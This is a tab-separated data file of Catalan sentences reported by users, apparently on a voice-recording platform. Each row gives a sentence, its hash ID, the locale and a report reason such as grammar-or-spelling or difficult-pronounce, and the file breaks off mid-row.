sentence sentence_id locale reason Un fill és un fill fins que es casa; una filla és una filla fins que es mor. e35fbac6123f4463ccb047daced6a0456da308251c2637da348951c6b6afc374 ca offensive-language George! f6d2e8e3dc62412b4c92588c3674d232205dd9748dfcaffc7498daee9fc69b90 ca different-language La quantitat màxima d'emmagatzemament estimada és de trenta mil quilos. 4d4053171709af4f1d888e31b6b81e24e4631be7ddea7f9a4e7de36088a11ca8 ca grammar-or-spelling Amb aquesta «moral» de comportament, l'interés dels governants per una administració eficient és irrellevant. 4bc13af76d7e42d755d32bcd28d315983db878797dcfae1b8b4e4a585d0f4979 ca grammar-or-spelling Kauai, Oahu i Maui. 010680fbbd132258846891d27f3ecb3c781e6258685ae11cb25890a0d0b39b0e ca different-language Els altres set lluitador van ser deixats sense feina. 01ce96efc63143383e0d7444f500404a3092cd18b2a34dfc94748b9445b452b7 ca grammar-or-spelling Aquests mòduls s'insereix en sòcols sobre la placa base. 0198392710712f46b433b36d41f7958cec84dc1fff8789a7fcf43e168fc1cfc9 ca grammar-or-spelling Històricament, havien existit diversos altres formes estandarditzades alternatives de gramàtiques del bielorús. 01f44c6a93c8234618d09ff78ef99d7bcca1259cece43b8cc35fd5b8d2fa0f38 ca grammar-or-spelling Destaquen pel seu nombre els residents d'origen anglés i alemany. 039b090e98d9d8acb003394af4a6ff691349427abeb6c201ea4c82d88e918b33 ca grammar-or-spelling Destaquen pel seu nombre els residents d'origen anglés i alemany. 039b090e98d9d8acb003394af4a6ff691349427abeb6c201ea4c82d88e918b33 ca grammar-or-spelling Les protestes van esdevenir violentes quan les multituds agressives van començar destruir propietats. 082b459cd89b62ef3a280ea20b72260adfa787149a180d874d16a79eae5490e2 ca grammar-or-spelling La fertilització és majoritàriament interna i les larves són planctòniques. 09ab64ea3caa1a23df1436b76dff52118f8bba7a753eb8235a428327dcc88bbf ca different-language El banc presenta una estructura molt lineal. 08be4db6ca173f7640abbf249e8766b79b7420dd3c98c435dab42ead9bc295f0 ca different-language A la cantonada del carrer Dostoievski No. 09b217c8f58ea13d477e4a74006214f981755ddcbe7a78fa7ff295f8c7c21251 ca grammar-or-spelling La literatura tàmil existeix des de fa més de dos mils anys. 0a044e6e0ad0b0d1971144494c5ad18bf0ccd44d09a2255bf0572113b838de86 ca grammar-or-spelling Actualment és un equipament públic que allotja l'escola de música. 0a4970ede99c23cff4ffc8fbb65f3aff8bd4320086f56200509c8d4ada265c03 ca Se m'h ratllat el mòbil i no es pot llegir. Això significa prendre un quocient apropiat del producte tensorial, de la mateixa dimensió. 0b406be60fbeb286524d8eea926eb98c223b7de1b6c0b36f66497ef9c6ac95c9 ca No entenc la frase Més tard seran company a la universitat i col·laboraran junts en l'elaboració de diferents obres. 0b73e430d7ee47f2a320c23c19ea2ae635cd92a1920ba78dc94e43035ffb1e5d ca grammar-or-spelling La navegació entre els ginys s'aconsegueix lliscar esquerra o la dreta. 0c15709c1d583c5bce0df88d42de0c868ad97123c01803786e8e78a751dc6eeb ca grammar-or-spelling Aquestes són la conseqüència de la interacció d'aquesta subunitat amb altres tres. 0be9bbccb19f2a13bd61af43e9c3307b1ce125f4172fb39fd067da47357889ac ca grammar-or-spelling La reforma introduïda tots dos. 0b90b30274a2309bb27d02ba289eba74b242d3853b850538132d0eca72351b17 ca grammar-or-spelling La Marca està formada per una calavera del qual surt una serp. 0c58ac6a00f9362e7aa7229513c63029b365356de1f25c718524d1d17a6af7e9 ca grammar-or-spelling L'exterior és força auster i l'església es confon amb la resta dependències del santuari. 0c6f1d747d198c84bc6986405fd6dfacb444a46084204becf3dbc4d20d255d71 ca grammar-or-spelling A mesura que passa el temps, queden es dipositen més electrons. 0dc0b1aad40c0491aa233b3e76e1ae7819607f19ac22861d9a9db7bfe8838748 ca Sobra una paraula? A mesura que passa el temps, queden es dipositen més electrons. 0dc0b1aad40c0491aa233b3e76e1ae7819607f19ac22861d9a9db7bfe8838748 ca grammar-or-spelling Aquest poema fou també posteriorment interpretar per la cantant mallorquina Maria del Mar Bonet. 0e31fd64564bbf2e636293471a5f9a78ae5dc0e6d8f45f7632267877c3bc3716 ca grammar-or-spelling A mesura que passa el temps, queden es dipositen més electrons. 0dc0b1aad40c0491aa233b3e76e1ae7819607f19ac22861d9a9db7bfe8838748 ca La frase no té sentit. La pel·lícula va ser rodada a la filmada a la Columbia britànica i Alberta, Canadà. 107a40774895debf8a1e77752483d59f93def1e0a0fb46fa063fe3857ddd8c02 ca grammar-or-spelling En destaca l'escalinata d'accés que mena cap a la porta principal. 1202b8272fa393c407cc6b18b7d252607ce26c2c10872e767f4a7d883094d638 ca Hem demana que he de donar acces al microfon i no sé com. Compta amb una seixantena d'espècies És un gènere principalment distribuït dins la regió mediterrània. 13bc1450799fa49f8867d30f3ea918cd86309a9e75d64ec408dad028728e4276 ca grammar-or-spelling L'actor sortia d'un període molt difícil per les seves addicions i estades a la presó. 13b2982009946d0ac28b30ba048354fed7cf856f3509878483fc50eefa27cec6 ca grammar-or-spelling Proclama l'anglès i al francès llengües oficials de l'Estat federal canadenc. 14397df8280ee10e46655e0a53a23df5810c440c70a7308e37db292611028730 ca grammar-or-spelling L'abat retornar les seves còpies i va ordenar que l'informés cada dia. 14b067678eedcf83915ed7a45afb004b3da5787ba5951fef1f70eb14ad6ef569 ca grammar-or-spelling Va néixer a la ciutat d'Anshan, província de Liaoning, Xina. 1526d38272c72e79f7cb7a12686937838049944f41fc3490b91442140bdb7e6e ca difficult-pronounce Una Església litigiosa va ser atribuïda per una comissió designada pel rei als catòlics. 151e9fa0861d7c689d4cf566c01670fc1f8c4d214e3f523f9789e055845176f3 ca difficult-pronounce Les seves característiques són: narració, reelaboració d'accions, creativitat, subjectivitat, interpretació, emotivitat, estil personal, intencionalitat d'entendre. 15c819ac0cffb35aa6f3ad34a0c8f5d597b68241ccf6dc939fc6a4d76200e583 ca Hem diu que és massa llarg, i no puc passar a la següent I com en moltes pel·lícules d'aquest director, el final de l'heroi és tràgica. 1727dfd23881b498221725a053f0e4673e65fa2a88e00a730618dc846d078ee7 ca grammar-or-spelling Ja a la casa va ser examinat immediatament pels magistrats de la ciutat. 1752671780cdb454a61c511a804a3320419be4c0cde1f17db12fdd356ee1d7cd ca grammar-or-spelling A banda i banda del primer tram s'obren sengles capelles. 177de83e70900ae04f5a1a1e1b7883b8f0ee9fdf1316cdf514ac8b8076bcdebe ca difficult-pronounce Va ser el sisè dels set fills que va tenir el matrimoni. 1726cb7ea038125702bf7d65cc86197a2f13bb360b823c5b7d40d91d34a078a4 ca No hi veig cap errada Té una alta proporció de gèneres amb una única o unes poques espècies. 171c24849722b7f524118b1ae9914eea320bd6d8968ba760247146fb09cb7fa3 ca grammar-or-spelling Aquest sistema era incompatible amb l'utilitzat per Apple. 17657a7880526db14a7b823217032892dbd4a5b714b21ed08cd71b0ccfa4b991 ca Cap errada I en occità? 176643a055f771ead51561ca4d5d06dff0378e76664eaa07d8323469051a4e59 ca Cap errada En els vessants del turo trobarem formacions herbàcies i arbustives, un exemple és la farigola. 17579ccc4f10679e9190e9d67d37f43e229b5f3f8dbdb6e55b025921d392adcc ca grammar-or-spelling Altres eren fets de materials locals com les estalagmites i el travertí. 17b0817dd89aae0022746662f93290b77aeb282802fc1be6b3bfe6e87c0a0ba3 ca grammar-or-spelling En els vessants del turo trobarem formacions herbàcies i arbustives, un exemple és la farigola. 17579ccc4f10679e9190e9d67d37f43e229b5f3f8dbdb6e55b025921d392adcc ca grammar-or-spelling El cor hi ha una filera de cadires de fusta fosca, proveïdes d'alts respatllers. 17554cced8d2a097dbb293340c8a30c29d1ef12fe77e710c4a98db7de23d5944 ca grammar-or-spelling Passa per les províncies de Smolensk i de Tver. 16c0bcef00e57a4730b9adc70665ebb5127e674851029fb91f64e74bbd2e4a1c ca difficult-pronounce I com en moltes pel·lícules d'aquest director, el final de l'heroi és tràgica. 1727dfd23881b498221725a053f0e4673e65fa2a88e00a730618dc846d078ee7 ca grammar-or-spelling Guillem Crespí Cifre va ser reelegit batle del municipi. 17d19ce7d46bd1bcb74af3aa70378e05ffe2060c71118847eeb5acd50aef0fb1 ca grammar-or-spelling Acabada la guerra, es dissol novament el sometent. 17c814afb41c03d2e45f977c0559e3e6ae745c77001a443f66d2c27145874f58 ca grammar-or-spelling Pau probablement estava preocupat pel perill que suposava el rei llombard Desideri d'Ístria. 1852941f40222acdb8f8af87609b2f3e0b3a0ccafa98f174a378789b71706516 ca difficult-pronounce És per això que Heidegger anomena metafísica nihilista. 1845352728b0154f68879060f4a3c5bac4db1d4ca706f6fd696639a7bafdf8f3 ca difficult-pronounce A més era massa al sud per considerar la seva llavors la submissió. 189a36fe3ac050192de4a7154d966dfbcfae1c53066d926d2490d54c74636b57 ca grammar-or-spelling La Forca de Policia Somali estava militaritzada i considerada part de l'Exèrcit Nacional de Somàlia. 17e131e55fdab3d58e22f70ea6b055666e9a3811c55451e06be1e5e00c1a014d ca grammar-or-spelling A la capital hi va veure alguns mesos, fruint d'un benefici que hi havia obtingut. 18dbfa2326ec2d0092d0a34de0bb0b30bfac340e8bc822e44b8198486ce49f3d ca grammar-or-spelling En cop retirat va dirigir diferents equips ciclistes. 18de65806975e71c2cd45eab103ade717fc73546bb41e529944b3b0f6a19406a ca grammar-or-spelling A la capital hi va veure alguns mesos, fruint d'un benefici que hi havia obtingut. 18dbfa2326ec2d0092d0a34de0bb0b30bfac340e8bc822e44b8198486ce49f3d ca grammar-or-spelling Els mestres de cerimònia van ser Uri Sàbat i Raquel Sánchez Silva. 190261674fc61efd6fb264e713755228a8ec140d5920952b5ed6899f59071d03 ca grammar-or-spelling Fa estudiar fins a quart curs d'Empresarials. 1929e9a47775c901f73093062fe1c2c481a16b5cba47e3f594af3b154479ed5f ca grammar-or-spelling Montsec podria violer dur que el nom indica: una muntanya seca. 18c0f3be1759753ed570029dd6ae39c9b067f11d462fb7aad09f255f2d12bdae ca grammar-or-spelling Aquesta obediència maçònica practica en el Ritu Escocès Rectificat. 198a59539f07ac5734959b290a0c32566fe913ace1d68dcfbf374581ae9535fd ca grammar-or-spelling Montsec podria violer dur que el nom indica: una muntanya seca. 18c0f3be1759753ed570029dd6ae39c9b067f11d462fb7aad09f255f2d12bdae ca grammar-or-spelling Montsec podria violer dur que el nom indica: una muntanya seca. 18c0f3be1759753ed570029dd6ae39c9b067f11d462fb7aad09f255f2d12bdae ca grammar-or-spelling Montsec podria violer dur que el nom indica: una muntanya seca. 18c0f3be1759753ed570029dd6ae39c9b067f11d462fb7aad09f255f2d12bdae ca grammar-or-spelling Es poden veure gaites d'Àfrica, Europa, Galícia, Aragó, Mallorca, Després d'ús Muntis i Astúries. 1ac383e1189ae18b6fbdeb3bd0050be8e66f2389adc397b76036ac59dafcc869 ca grammar-or-spelling Montsec podria violer dur que el nom indica: una muntanya seca. 18c0f3be1759753ed570029dd6ae39c9b067f11d462fb7aad09f255f2d12bdae ca grammar-or-spelling Equacions de Maxwell També va predir correctament que llum és una ona electromagnètica. 1b0ee8358ce2cfc0162c9a7a25fd199e84ddad16ee75246feb63f51e9691a1a0 ca grammar-or-spelling És venerat com al primer màrtir anglès. 1b7cbc5f2328358192cb1027fb5871822df82d2cc69ef64c0610eaf4be78e939 ca grammar-or-spelling També ordenà arrestar polítics rivals i va realitzar purgues dins en el seu propi partit. 1bae26c5c6b73416dedf035d83aff4b4aa9b370233fdc0e30c1121e5aeb802e0 ca grammar-or-spelling El parc es troben alguns dels últims elefants africans salvatges de l'Àfrica occidental. 1a28e2d237e6a785c7fd5ee00d0cf4e0381667abdc17c067c3442f0df6e461f1 ca grammar-or-spelling Els sòlids dissolts totals normalment s'aplica només a aigües dolces. 1c63a412adaacac87012a73813719622d218f096eeaa94013472b44f405ac043 ca grammar-or-spelling Són moments en el que la localitat portuària pateix el tancament de la fàbrica siderúrgica. 1c1e1bdd811a8751680171486dc3c13a88e514eb43897bb2300b8770cc6944db ca grammar-or-spelling Un periodista estranger relata haver vist els combats del constat israelià de la frontera. 1c94a934058a162c8003c56030975d69a9c7bf3e9a2788e7449f2a2cc025ed8d ca grammar-or-spelling Quan s'entreguen coses mobles pot assemblar-se a la penyora. 1c7d357ab7d0504844732af4cef38c189133bc3ccdc257567c78f05b85249bbd ca grammar-or-spelling Al seu saxofon es féu famós per la seva meravellosa sonoritat. 1bb208ebefc7ada7aeb508115d5e5556e179401176cb38c683d426cd7b8b1b56 ca grammar-or-spelling Un periodista estranger relata haver vist els combats del constat israelià de la frontera. 1c94a934058a162c8003c56030975d69a9c7bf3e9a2788e7449f2a2cc025ed8d ca grammar-or-spelling La casa consta de tes plantes. 1c9ab249a1599fbc47d8d7d4a0d87cda710034177cbe984310327a87165dcf53 ca grammar-or-spelling La seva capçalera departamental és Sonsonate. 1c814670b92d2b21c3b7eaf0c60deaccf978cd139586b673b3a3cd4fe7a63a50 ca difficult-pronounce Presenten un pecíol curt i la disposició al voltant de les branques és oposada. 1ca2dcba386a156d7c1c4aba77167811a87f94a10a332ea615dead113aa89b90 ca difficult-pronounce Durant el col·lapse de la Unió Soviètica el nacionalisme tàtar experimentat un període de renaixement. 1cf1a9dd3115f0a66387e31373cc9ce4c0f10ccc965ee17ea16f5e748e0d8938 ca grammar-or-spelling El signe negatiu indica que el nombre de nucleids pressents disminueix amb cada desintegració. 1d0e15b6f7d01d63fdbaa6e7539398a57256aac1fc393b433403f5748ec8f28d ca grammar-or-spelling Es troba a les Seychelles. 1d0940a2494fdb14f4da298389574328e9c27064be052b0c81e6804c145cc237 ca different-language Anomenada així per la ciutat de Windhoek, propera a la localitat tipus. 1cc1996ea0c0fc53c0f4a7ba9bbaac8a96781a6f93fcc161dc9da3b2c6e0e8a2 ca grammar-or-spelling Sembla que no vagi escriure cap música instrumental, o que no se n'hagi conservada. 1d479f726bb9edca3aeceedf5fd7a8fc8372507e12434ba3068c6051860fb709 ca grammar-or-spelling A l'interior hi ha una volta apuntada i una arcada que fins a la teulada. 1cbeca4ec36b765dfa0ea0b536e3da1dc5582b8cfdcf4b4e83d060e371186020 ca grammar-or-spelling La columna arrenca amb base quadrada i es transforma amb octogonal. 1e3d7f9b6d3a8e6cd8da8fe29a75b5ec243e32052e91480ed222c01da69d7194 ca grammar-or-spelling És interessant la porta la de fusta amb un petit arc conopial. 1dbd5fa4a01899ffefd91b50ec1f666b1cbb85e9fe7d6ee399fa0807a280d744 ca grammar-or-spelling Es troba a Bahrain, Oman i el Mar Roig. 1dcaf434866e8590bde2be7cd296704fcad8dbb357a7f80a95d190954a2ec44f ca different-language L'estruç somali s'alimenta en major part dels arbusts que altres estruços, més herbívors. 1ee833ed417867799014d025faa96789712d0b94542c41b31c01be23c0591851 ca grammar-or-spelling No podrien portar-la amb ells els rars per visitar aquest infant? 1f0139d717b2e401fcab08ab26ed5ad7315075747edadfc991bdeba9f4ece1b9 ca grammar-or-spelling El seu pare que era mestre de capella, s'encarregà de la seva educació musical. 1f4c90516d8c79173856678680f70b2b7430488cec7e8afca48ab01b8ecddbcb ca grammar-or-spelling A l'extrem oriental està la costa, que dóna a la mar del Nord. 1e932237702bf692e16044a24cfc2911e83fffa8ba30176acc8f870709a2a966 ca grammar-or-spelling Les seves costes i aigües pertanyen al territori autònim de Nunavut. 1fd115d0ef5554bf2852ae51d55dedb8972df3d5b72477768119989cb1b67b9b ca grammar-or-spelling Els soviètics començaren a rebre material d'assistència del govern estatunidenc mitjançant el programa del Préstec-Arrendament. 1f43c8702af033f46c643056c2ad3f636f1be28a6a499530edbb069f8a45e27e ca grammar-or-spelling El primer jugador que juga trencament el paquet. 1f7c703e65dad14665e6bd5f594133e6d682b7f965dca9edb484534529db24cb ca grammar-or-spelling Posteriorment, va cursar la carrera Educació Inicial en la Universitat Catòlica. 1ff6bb1f3001a7d2fd9cb95a26b90182cf09259b7c416016c1df007cd6eea693 ca grammar-or-spelling Ara es va mecanitzar i ara es triga molt menys de temps. 1ffa1138468e63dbd5c03aa9a0cf67bbfb5a0b613aa849accf5501217c47bb64 ca grammar-or-spelling Turkmenistan té un clima desèrtic fred que està continental sever. 2065948e96b90f36638f30d5126613b8e281168ea7e8f496a92efa62d1509600 ca grammar-or-spelling Els soviètics començaren a rebre material d'assistència del govern estatunidenc mitjançant el programa del Préstec-Arrendament. 1f43c8702af033f46c643056c2ad3f636f1be28a6a499530edbb069f8a45e27e ca grammar-or-spelling Russell va deixar una gran quantitat d'escrits. 1fdc8ff35d47fc2334906ef13ab542b1c1981314c55918d811eef71c1e3d9465 ca difficult-pronounce ঃ i ং són igualment utilitzats com marca d'abreviatura. 209ce94bb0e9cae1891313594febd6f48465930207fb68af41309a09e5a601ba ca difficult-pronounce A l'extrem oriental està la costa, que dóna a la mar del Nord. 1e932237702bf692e16044a24cfc2911e83fffa8ba30176acc8f870709a2a966 ca grammar-or-spelling Strauss va acceptar tots dos amb gran rapidesa. 220e61e063870bc11208ab907980df15b5a716af82babfef58e838f546489522 ca grammar-or-spelling En les espècies sexuals, la meiosi produeix gàmetes ces haploides. 220b8e89aba624adaf8f596276a8bbe395e4bb6b40b2b623a5b76f538abf4743 ca difficult-pronounce Les Illes del Canal és llar d'una gran varietat de recursos naturals i culturals. 219e435870c39123a56d37cbe472e061d17af3eb1d76e4a0ad82d8991325ffac ca grammar-or-spelling En apartament, necessita llum. 2224aed556d80e297b799f8f1a0ca909ad456a1f20d945de2def80318199890b ca grammar-or-spelling Veieren l'home anorreat, desfet, tancat, blasmat, privat de l'aire l'envolta. 220a54de1e91266d990c78971f2370ceefde5736c5ecbd50f88144a2d3744364 ca grammar-or-spelling Actualment no en queda cap rastre. 224afe7516f035de933a5da73ca622fd395850ce97f4c3e978008f705fdc79c2 ca grammar-or-spelling En apartament, necessita llum. 2224aed556d80e297b799f8f1a0ca909ad456a1f20d945de2def80318199890b ca grammar-or-spelling Dura la nit de cinc dies, de dimarts a dissabte de principis de febrer. 22185fc796255a9106adb197a3aa085e7937cb6bdffda0873c031bc7afc3b941 ca grammar-or-spelling Pot dur coll o solapes, butxaques i, en algunes tipologies, caputxa. 2229cea6f2cc9f20fff4ebe64b042d562eb59e1822de5f9227047af0110c49f2 ca grammar-or-spelling Va tornar a Roma el i va rebre els honors del triomf. 221287b5c397e74c8aaa34a78dcc259ac4079768462881434e27b450c4264b3b ca grammar-or-spelling Va tornar a Roma el i va rebre els honors del triomf. 221287b5c397e74c8aaa34a78dcc259ac4079768462881434e27b450c4264b3b ca grammar-or-spelling En les espècies sexuals, la meiosi produeix gàmetes ces haploides. 220b8e89aba624adaf8f596276a8bbe395e4bb6b40b2b623a5b76f538abf4743 ca difficult-pronounce Aquest són hackers. 22465665b7e2acc75105daac6dc6a9fd05ea307dafdf5c97988935fd5ea40392 ca grammar-or-spelling Mentre que l'atac va fracassar, van sorgir molt diferents interpretacions de l'atac. 2293d8e00a87f2e733e821b0203e0e9a64fb5b284f129f8627b1cfb6c47cf96d ca grammar-or-spelling En les espècies sexuals, la meiosi produeix gàmetes ces haploides. 220b8e89aba624adaf8f596276a8bbe395e4bb6b40b2b623a5b76f538abf4743 ca grammar-or-spelling Va ser destruïda i despoblada però no se sap quant. 22049d49d92fbebe892e1813a904f8d214541214fc8b1ff8fcdef11a0cbc3fb3 ca grammar-or-spelling Són plantes arbòries, arbusts o enfiladisses amb les rels verinoses. 229a99b35a4f218d1ed669acc68dc2e228253e430b663a95d88bc179a90c0d1c ca grammar-or-spelling Mitjançant la hialuronidasa present al cap de l'espermatozoide o acrosoma. 2271555581a22354aed25087f592ffde098e0a7de72b59c548425c3bcc5217aa ca difficult-pronounce Done el seu nom a la ciutat. 2298bbc08435a5209d1e7f0fcf9f66c4613bd3ce3d72a27dd2e53ed8f1dbd185 ca grammar-or-spelling El seu funeral va tindre lloc en el tanatori Mondúber amb una cerimònia civil. 2309adc48ff867c9243f4dfe65a7b040db7fb6a60ae4c3c0106f9ddaa12687df ca grammar-or-spelling És membre de l'Orde de l'Imperi Britànic. 230f9ba211fad045993d6b31ddba4ec040742468a387a4eadc866d6a5a8cade1 ca grammar-or-spelling Es va graduar de la Universitat de Texas amb un grau d'arquitectura. 23b113b1641032fd26bc302b0c84a2b51b3251dfa8ee59d276edfa60ba255e74 ca grammar-or-spelling Amb la seva capacitat quan presidenta, Bakunin va restaurar la biblioteca de l'Acadèmia. 23ec51deae1fd2ee61e4108c750802ef8641296d6c94c03ef0a723455b7c4135 ca grammar-or-spelling L'estat actual és mitjà, ja que hi ha unes peces del depòsit que s'han trencat. 23d08ce8738ad1fd8291ca12e0dc590e23733d2ffedde8fa3f0c36331e68d863 ca grammar-or-spelling La hi troba en boscos caducifolis i en prades, on fa caus. 2440d6a2d06adfe0cf86377284a4bbbd8573b7e734fbf637284defa0fe860dba ca grammar-or-spelling La hi troba en boscos caducifolis i en prades, on fa caus. 2440d6a2d06adfe0cf86377284a4bbbd8573b7e734fbf637284defa0fe860dba ca grammar-or-spelling La hi troba en boscos caducifolis i en prades, on fa caus. 2440d6a2d06adfe0cf86377284a4bbbd8573b7e734fbf637284defa0fe860dba ca grammar-or-spelling Es comprometé amb aquest equip després de fer-hi la pretemporada. 245c1180332552c7b866937a205140673384f1a3d5e8f21186442546655cca7c ca grammar-or-spelling La hi troba en boscos caducifolis i en prades, on fa caus. 2440d6a2d06adfe0cf86377284a4bbbd8573b7e734fbf637284defa0fe860dba ca grammar-or-spelling Per analogia, el terme entrenador es fa extensiu a la pràctica d'exercicis i ensinistrament d'animals. 249ef42368e691d378bb280153b13e2b97245ba9df5720570069161e2683b49b ca El micro El jaç està format per palets i molt poques zones de sorres gruixudes i gruixudes. 24e32002f476f95ca7b10c89aec25f6c66e9f252dcb1539a69eaf9e6ac8ffe6f ca grammar-or-spelling Tanmateix, projecte no arrenca. 245d62257c37c5a752bf758d90929ea8df40a2424f3d2685da3c89512340b3db ca grammar-or-spelling Els caros no tenien ni coberta ni corredors. 24308cefc03a9427e805a5d3580001d2b2b06c5c84fdc872eca68530c0d916a5 ca grammar-or-spelling Poden tenir una aparença d'arbre o ventilador, depenen de l'espècie. 2490522f2edbfcadd62813b1f3446f7bec8a199074b2619abb5174daa9d2f316 ca grammar-or-spelling Sis esclaus foren encadenats i va morir de fam i uns altres cinquanta-vuit foren cremats. 246c9db9a143766bfdabf111b9b0bf725dc899aa9ab000f61b8aa84ff50992c4 ca grammar-or-spelling No n'hi ha massa referències bibliogràfiques. 24f4d56be0d0b94a2f12db8791595d23e24901f2ced7473445694b633886d656 ca grammar-or-spelling Està testimoniada ja a l'antic Egipte l'Imperi Romà l'antiga Xina i als primers estats eslaus. 2574c7d4e8c3612246231c8552338e2a2a801d48c8c10ae2e186ad996b4565b6 ca grammar-or-spelling Va ser un estudiant brillat, educat en els principis confucianistes. 24ffa9c3a25b29c74481047dfd0232a8372b05b1d136a59fec1de35f74d6609f ca grammar-or-spelling No es pot menja, ja que és verinós per als humans. 2610d6c7a7c7e52898da2e8b92b1ba911a2c54205aac2fdc06cd59dccb981c13 ca grammar-or-spelling Els continents van continuar a moure's vers les seves posicions actuals. 265ef3035770e005038d194a68d6d377662a7733157dafce19f3885f95dab3bf ca grammar-or-spelling Va morir d'una angina de pita casa seva a Manhattan. 2661d148c46e7874cd85b66cd9751e449092ed556b191c68008aef6a897849be ca grammar-or-spelling La caça hi abundava, sobretots els conills i les perdius. 2636ec58baadff3f895958eb77e04e778109a8d68741b3f4681ffd1e543a2202 ca grammar-or-spelling És venerat com a sant per diverses confessions cristianes i considerat i patró de Suècia. 2645340da5f8ae2dd6beaaf2aab60066f5601295778aaa1c084d437d35ac0617 ca grammar-or-spelling Sifons són de color groc fosc a verd sovint corbats cap a fora. 2614f7da09f887c09b17f28ac601562ea38581adeb7215e8e8583714999416ab ca grammar-or-spelling Això va contribuir a superioritat numèrica dels aliats al Marne. 26510841a35806ec6869dd95ae954f871a700bd52fc407cc66fda86ea3290a17 ca grammar-or-spelling La competició entre els bancs, fou feroç, i centrada en l'emissió de bitllets. 269130ba8a5d777ed5d2554ed71b774469652701fad1faa3c039211a09c4cf7b ca grammar-or-spelling Hi milita dues temporades al conjunt grec, on és titular. 264d9397216a437aabc499ea2613912441524f1840a7902dc01d38fbb86bfa5d ca grammar-or-spelling Aquesta presenta al seu interior, decoració pintada de gerros amb flors. 258d64e9b0c61372a78ab267cef2e6119cfed608df0cf8aac5e53f27f0781b93 ca grammar-or-spelling A poca distància de la seva ubicació, es localitzava un assentament celtiber. 263f6bb6b77a586a7447d34b318f51caff854f02951c3f3f7cef6f01548d3e21 ca grammar-or-spelling Les inscripcions s'han trobat en diverses objectes votius. 268a0b0894089d70cdc9805928ce8667b87a177d9ed074fcbf4347246688f065 ca grammar-or-spelling Originàriament es tractava d'una estructura d'un sol cos sense cap annexa. 26b020547d834d29ae0097a9b5c57f3574648142c7767d4308759b0f2dc99e82 ca grammar-or-spelling Sifons són de color groc fosc a verd sovint corbats cap a fora. 2614f7da09f887c09b17f28ac601562ea38581adeb7215e8e8583714999416ab ca grammar-or-spelling Això va contribuir a superioritat numèrica dels aliats al Marne. 26510841a35806ec6869dd95ae954f871a700bd52fc407cc66fda86ea3290a17 ca grammar-or-spelling Aquest va ser el primer dels dos sobrevols a asteroides que farà la sonda. 264956b22c5da3a3001637d4ec34f73ab3288a993309b05a5bacc9923a8d34fa ca grammar-or-spelling És un mineral poc comú que es troba en skarns rics en bor. 267ebe1be24384bc6c534bae8102cc68838929a1eccb9383e5a6207b436b7831 ca difficult-pronounce La utilització de les mateixes solucions ornamental fan pensar en un mateix autor. 263ef98a25f3c7a0f54284e01ea6e98e4dd53dbf2474edb13925c1b308e289cc ca grammar-or-spelling Va participar a títol de col·laboradora en la redacció de l'Enciclopèdia Universal Europeu Americana. 2581255296b0208ef22ee69730eed62ef72ade34464057c82fc340d43386de9d ca grammar-or-spelling Els continents van continuar a moure's vers les seves posicions actuals. 265ef3035770e005038d194a68d6d377662a7733157dafce19f3885f95dab3bf ca grammar-or-spelling Es troba a tot l'hemisferi nord i és l'arrel de moltes races domèstiques. 268d849657545789e7b3d4b76103ea84092642f27651efe496b5fe4a16c522b9 ca grammar-or-spelling Desprèn una olor quan se li molesta. 271647db6cc64cec87d8e4ba2a834777a454b49abc34a70f3d00a9b034c30b82 ca grammar-or-spelling Però llavors va canviar d'opinió i el va fer executar. 2763439490e04c50df29c458c6b40b7acbe7f1ca37a5ddfea9576ebf377769cb ca Diu que el vólum de registre és insuficient, però és el mateix que en frases enregistrades anteriorment. Són uns noms que quedaran gravats per sempre més en la història de l’excursionisme mataroní. 26e9817f0e3b91cdad54ba284e73434ee7f49c3e559bcbc549cea5423673d7a4 ca grammar-or-spelling Cinc anys després, la ciutat va ser rebatejada amb el nom actual. 26ea7566ffd9ce0c3e1cd6de7b3422191db04b33a16ed64c393339ff01c6571c ca grammar-or-spelling Contenia característiques de dotze ciències diferents ciències i l'un coneixement geogràfic important. 275ac8103e7f1dcedc3d06f33342f97278037bfc8bf9769152589dd0521fc24b ca grammar-or-spelling Normalment la pasta es fa el dia anterior perquè repose i els sabors s'accentuen més. 2767c5024c8a989fed085a80791568c24b3c51c2d024e8608b7aeb9b1dee12fc ca grammar-or-spelling Els quatre primers de cadascuna dels tres grups passen a la semifinal. 276ce6a8db37b058ec7e63821608a1488594ea58c16a5a018a4c03c9641f6cd1 ca grammar-or-spelling Normalment la pasta es fa el dia anterior perquè repose i els sabors s'accentuen més. 2767c5024c8a989fed085a80791568c24b3c51c2d024e8608b7aeb9b1dee12fc ca grammar-or-spelling Rectangular de cinc franges horitzontals, vermella, negre, blanca, negre i vermella. 2780b0b8dbb68cdc1572e84473ee52d9af0597d3f4c954871b5e94fd75283bce ca grammar-or-spelling A poc a poc van ser apareixent els tons crus, el gris i el negre. 2776b7567c2f1a8ddd4e6951529bf8692f9f97b711d629536ceb107c4292077f ca grammar-or-spelling Va viatjar per Itàlia on pren gust pel moviment i l'espontaneïtat. 27a8681bd2163a9252f3660bf2dab6ecc9ceadf4fee1ce86cd9886ceb1212fdd ca grammar-or-spelling L'ermita està just a uns vint metres davant seu. 2794861db1710eef0e73592e0a9877b66f3b919bc990f911be65bffa0a783c00 ca grammar-or-spelling Va publicar set volums de contes i poesia. 28330d839682f31da43c61b97c07d946ab31467353df3733e508f44e55539858 ca No enregistra i no puc passar al segon punt Els quatre primers de cadascuna dels tres grups passen a la semifinal. 276ce6a8db37b058ec7e63821608a1488594ea58c16a5a018a4c03c9641f6cd1 ca grammar-or-spelling Mesuradament haurien estat conquistats per un estat unificat del Sud. 28df9f159b938fbe27b85904dfe2822984aabcbc6581e271c7f5fc946b2281f4 ca grammar-or-spelling Sempre donà suport tots els actes de caràcter obrer i catalanistes. 29182917f3069001e3eea92acaa7f5436853fd97a614a7f3df840e08faef2ce9 ca No funciona Encara que inspirat en mestres anteriors va saber va crear un estil propi. 29d3519302f341f7f2c508396cc602068f8a0c898c6d24a38e0c4d42e3b8141b ca grammar-or-spelling Els agrada les aigües lliures. 2a530f5ba056f4691781ecb815cd9fe7cb98c24053da62020fea3b3c20f6229d ca grammar-or-spelling Per sobre una finestra amb llinda gravada la data d'inici de la construcció. 2a269fef9ca6b3256351863a22fc599be677a251d391f25c028e04571e32bdd6 ca grammar-or-spelling Però això normalment no ocórrer fins a mitjans de la pel·lícula. 2a5154ece0490e5f5aad6af59c5fe77ff92c2d27ef23a924e435d7441a2887af ca grammar-or-spelling Els vestits eren de cartó i llaunes i les llances eren pals prims o aspres. 2a75ec104a82ba132f13acdfecf937f506bb59140ffa55e533df4da45a8336e6 ca grammar-or-spelling El gen crema és el que ocasiona és aquesta capa. 2a4cabf958ec11d6ab307faf2750d46ae059db3d147b92da1964d335921c979d ca grammar-or-spelling Però això normalment no 